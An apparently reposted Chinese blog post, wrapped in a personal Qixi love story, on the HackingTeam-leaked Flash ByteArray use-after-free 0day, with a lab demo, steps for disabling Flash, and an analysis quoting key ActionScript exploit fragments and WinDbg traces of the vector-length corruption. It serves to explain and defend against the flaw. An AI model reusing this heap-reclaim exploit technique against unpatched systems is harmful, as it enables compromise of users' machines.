渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

防范方法

Windows操作系统禁用Flash插件

MAC操作系统中禁用Flash插件


      在开始之前讲一段笑话吧,刚好今天是七夕情人节...,原谅我这一个直男癌,又不太善于表达自己想法的男孩子,所以就一直单着,今晚在她空间留言里面看到那位比我早那么一点点对她说的男孩了(我怕影响她考试等因素,故意生气,然后不怎么联系她(她也索性那么认为了),突然发现自己好傻,为什么自己情感要那么犹豫?喜欢就大大方方喜欢,偷偷摸摸的干嘛,自己找罪受,活该!这里狠狠给自己两耳屎(真扇耳光,火辣辣滴痛觉)),说真的我的心好痛、好疼,那一刻我发现,自己想照顾一生的菇凉,她却不是单着。我想我能等,断断续续相识已两年,说真的,当初刚认识你的时候就喜欢上了你,只是碍于咋们上学阶段的阻碍,不好意思开口,试探性的问也被拒绝过,本想打算等你毕业了再慢慢跟你表白,没想到世事难料,呵呵呵....。等吧,等到她单身,但我怕我等不到那个时候,心真痛,我想要不多,只想静静地守护你,看着你开心就足矣(也有朋友说,你都有男朋友了,为什么还当初不拒绝我?拒绝了,为什么又断的不彻底?有时我也理不清跟你的关系,到底是朋友、好朋友,还是喜欢你,还是真的爱上了你?)

      好像有点跑题,接着来本章篇幅的实际内容,如下

 

体验flash0day

Test Part 1:

      当车速开到20迈的时候,就是A的感觉;开到40迈的时候,就是B的感觉;当上升到60迈的时候,就是C的感觉。  叼高速路上(幻想中),小C手机上放着《前任攻略》这部电影的评论内容为:“... ... 电影中说再深的感情也抵不过缘分的错过,可是错过的原因不外乎当初没有去死命去抓住,也或许是罗茜太过于自信,骄傲如她只想着付出却不擅长表达,最后憋死在订婚典礼上才能坦然地面对自己,或许隐藏得太深,爱情容易分神,你不面对它,它很快就潇洒地拍拍屁股走人。” 本想打开电脑度过一个回忆杀的晚上,然而当他打开昔日无比熟悉的搜索界面时,...叮咚 ,一个计算器突然弹了出来

      下面我们模拟小C的角色,登录实验主机,打开IE浏览器,在地址栏中输入:www.daidu.com。 然后会在桌面上自动的打开了一个计算器程序(小C中了flash0day)

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第1张图片

Test Part2:

      同样是当车速开到20迈的时候,就是A的感觉;开到40迈的时候,就是B的感觉;当上升到60迈的时候,就是C的感觉。  高速路上(幻想中),小Q手机上放着《前任攻略》这部电影的评论内容为:“... ... 电影中说再深的感情也抵不过缘分的错过,可是错过的原因不外乎当初没有去死命去抓住,也或许是罗茜太过于自信,骄傲如她只想着付出却不擅长表达,最后憋死在订婚典礼上才能坦然地面对自己,或许隐藏得太深,爱情容易分神,你不面对它,它很快就潇洒地拍拍屁股走人。” 小Q也想去看看这部电影,看评论评价挺不错的,小Q打开昔日无比熟悉的搜索界面时,一个计算器没有弹出来,还是往日无比熟悉的搜索界面,然后小Q 看到电影最后黯然的留下了眼泪,一个值得思忆的夜晚。

      下面我们模拟小Q的角色,登录实验主机,打开Chrome浏览器,在地址栏中输入: www.daidu.com。 然后,就没有然后了(小Q没有受flash0day影响)

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第2张图片

     是不是很想问问导演,同样是www.daidu.com为什么小C就被攻击了,小Q却能正常的观影?

      导演:因为小Q使用了Chrome浏览器,flash0day没有突破chrome的沙箱,所以小Q未受影响。而小C使用了系统默认的IE浏览器,被flash0day影响,导致系统被攻击。

      听完这些,忍不住又要问导演:弹计算器就让它弹计算器就好啦,不影响我看《前任攻略》就好了。

      导演:这东西跟看电影一样,电影里都是子弹穿过脑袋只留个弹孔,而实际上子弹穿过脑袋整个脑袋都至少掉一半了。就像电影与现实的差距一样,虚拟机里的 flash0day只是弹个计算器,而现实中可能是偷偷给你电脑安装木马后门,窃取你电脑的资料或者直接破坏操作系统!!所以不能不重视。

      听到这里,忍不住更要问导演:既然这么严重,那么怎么样才能避免这种攻击呢?是不是直接用chrome就好了?

      导演:研究资料表明,此flash0day影响windows系统的IE,chrome(版本号小于43),firefox等等Mac系统Chrome,firefox,safari。所以为了保险,我们暂时应该禁止flash插件,等待flash官方补丁和更新。

 

防范方法

Windows操作系统禁用Flash插件

Chrome浏览器:

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第3张图片

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第4张图片

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第5张图片

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第6张图片

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第7张图片

 

Firefox浏览器:

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第8张图片

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第9张图片

    

IE浏览器:

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第10张图片

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第11张图片

 

MAC操作系统中禁用Flash插件

      Chrome浏览器:MAC 系统的Chrome 浏览器设置方法跟Windows 一样

      Firefox浏览器:MAC 系统的Firefox 浏览器设置方法跟Windows 一样

      Safari浏览器:

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第12张图片

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第13张图片

渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第14张图片

 

 

      这个漏洞成因在于,Flash对ByteArray内部的buffer使用不当,而造成Use After Free漏洞。

      我们来看一下HackingTeam泄露的exploit代码,关键部分如下:

      定义ByteArray

   for(var i:int; i < alen; i+=3){

      a[i] = new Class2(i);

      a[i+1] = new ByteArray();

      a[i+1].length = 0xfa0;

      a[i+2] = new Class2(i+2);

      }

      首先定义一系列的ByteArray,这些ByteArray初始大小被设置成0xfa0,ActionScript内部会为每个Buffer分配0x1000大小的内存。

      给ByteArray元素赋值:

 _ba = a[i];

                      // call valueOf() and cause UaF memory corruption

                      _ba[3] = new Clasz();

      这一步是触发漏洞的关键,由于ByteArray的元素类型是Byte,当把Clasz类赋值给ByteArray[3]时,AVM会试图将其转化为Byte,此时Clasz的valueOf函数将被调用:

      prototype.valueOf = function()

           {

                    ref = new Array(5);

                   collect.push(ref);
     
                    // realloc

                    _ba.length = 0x1100;
          

                    // use after free

                    for (var i:int; i < ref.length; i++)

                          ref[i] = new Vector.(0x3f0);
        

                    return 0x40

           }

      在valueOf函数中,最关键的一部是更改了ByteArray的长度,将其设置成为0x1100,这个操作将会触发ByteArray内部buffer的重新分配,旧的buffer(大小为0x1000)将会被释放。紧接着exploit代码会分配若干个vector对象,每个vector同样占用0x1000字节的内存,试图去重新使用已经释放的ByteArray buffer的内存。

      valueOf函数返回0x40,然后0x40会被写入buffer[3]这里,如果逻辑正确,那么此处应该写入的是新分配的buffer;然而由于代码漏洞,这里写入的已经释放的0x1000大小的旧buffer,于是事实上写入的是vector对象的头部,整个过程如下:

      ByteArray创建并设置长度0xfe0: 

     old buffer         |                                                      |

      0x1000

      设置_ba[3],调用valueOf,在valueOf中设置length = 0x1100,此时old buffer被释放

      old buffer (Freed)    |                                                      |

      0                                                                         0x1000

       然后0x1000大小的vector占据old buffer内存,前4个字节是vector的长度字段:

      Vector                       | f0 03 00 00                                |

      0                                                                          0x1000

      valueOf返回0x40,0x40被写入buffer[3],由于UAF漏洞的存在,写入的是vector的size字段:

      Vector                       | f0 03 00 40                                |

      0                                                                         0x1000

      于是我们可以得到一个超长的vector对象:

      渗透测试:HackingTeam泄漏Flash0Day实践与防御(七夕)_第15张图片

      我们可以通过调试来观察漏洞的触发过程:

      调用valueOf之前

      0:005> u

      671cf2a5   call     671b0930 //这里最终调用valueOf     

      671cf2aa 83c404         add     esp,4

      671cf2ad 8806          mov     byte ptr [esi],al

      671cf2af 5e             pop     esi

      此时esi指向old buffer:

      0:005> dd esi-3

      0dfd5000 00000000 00000000 00000000 00000000

      0dfd5010 00000000 00000000 00000000 00000000

      调用valueOf之后,old buffer被释放,然后被vector占据:

  0:005> p

      671cf2aa 83c404         add     esp,4

      此时esi已经指向新分配的vector,就buffer已经被释放

      0:005> dd esi-3

      0dfd5000 000003f0 0d2b3000 00000000 00000000

      0dfd5010 00000000 00000000 00000000 00000000

      0dfd5020 00000000 00000000 00000000 00000000

      0dfd5030 00000000 00000000 00000000 00000000

      0dfd5040 00000000 00000000 00000000 00000000

      0dfd5050 00000000 00000000 00000000 00000000

      0dfd5060 00000000 00000000 00000000 00000000

      0dfd5070 00000000 00000000 00000000 00000000

      写入buffer[3

      接下来valueOf的返回值0x40被写入buffer[3](及vector.size字段):

      0:005> p

      eax=00000040 ebx=0d8b4921 ecx=00000206 edx=00000006 esi=0dfd5003 edi=0d362020

      eip=671cf2ad esp=04f2ceec ebp=04f2d050 iopl=0         nv up ei pl nz na po nc

      cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000             efl=00200202

     Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07d:

      671cf2ad 8806           mov     byte ptr [esi],al         ds:0023:0dfd5003=00

      0:005> p

     Flash32_18_0_0_194!IAEModule_IAEKernel_UnloadModule+0x1ba07f:

      671cf2af 5e             pop     esi

      0:005> dd esi-3

      0dfd5000 400003f0 0d2b3000 00000000 00000000

      0dfd5010 00000000 00000000 00000000 00000000

      0dfd5020 00000000 00000000 00000000 00000000

      0dfd5030 00000000 00000000 00000000 00000000

  部分实验操作内容参考:http://www.hetianlab.com/expc.do?ce=a31c528f-a6f2-499f-8698-b5c592ee16e0

  可以看到vector的长度以及被修改成0x400003f0。

    

    咳咳咳,最后的最后,有因就又果,开头写的东西,也要有结尾对吧?

    《前任攻略》罗茜,你干嘛不追逐自己的爱情?矜持真是可怕,付出的那么多,最后还是错过,自己都找不到自己了。喜欢就大大方方喜欢,不说出口就真的很容易错过,或许你隐藏得太深,爱情容易分神,你不面对它,它很快就潇洒地拍拍屁股走人。

      罗茜和孟云认识十三四年,我也能等得起(那位我想一生都照顾的菇凉(小粉条儿))。不只是开开玩笑... ... 我像是那种喜欢爱拿特别重要事情开玩笑的人嘛?

      2019年8月7日早上2点35分21秒


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


 

你可能感兴趣的:(渗透测试,渗透测试,漏洞理论篇)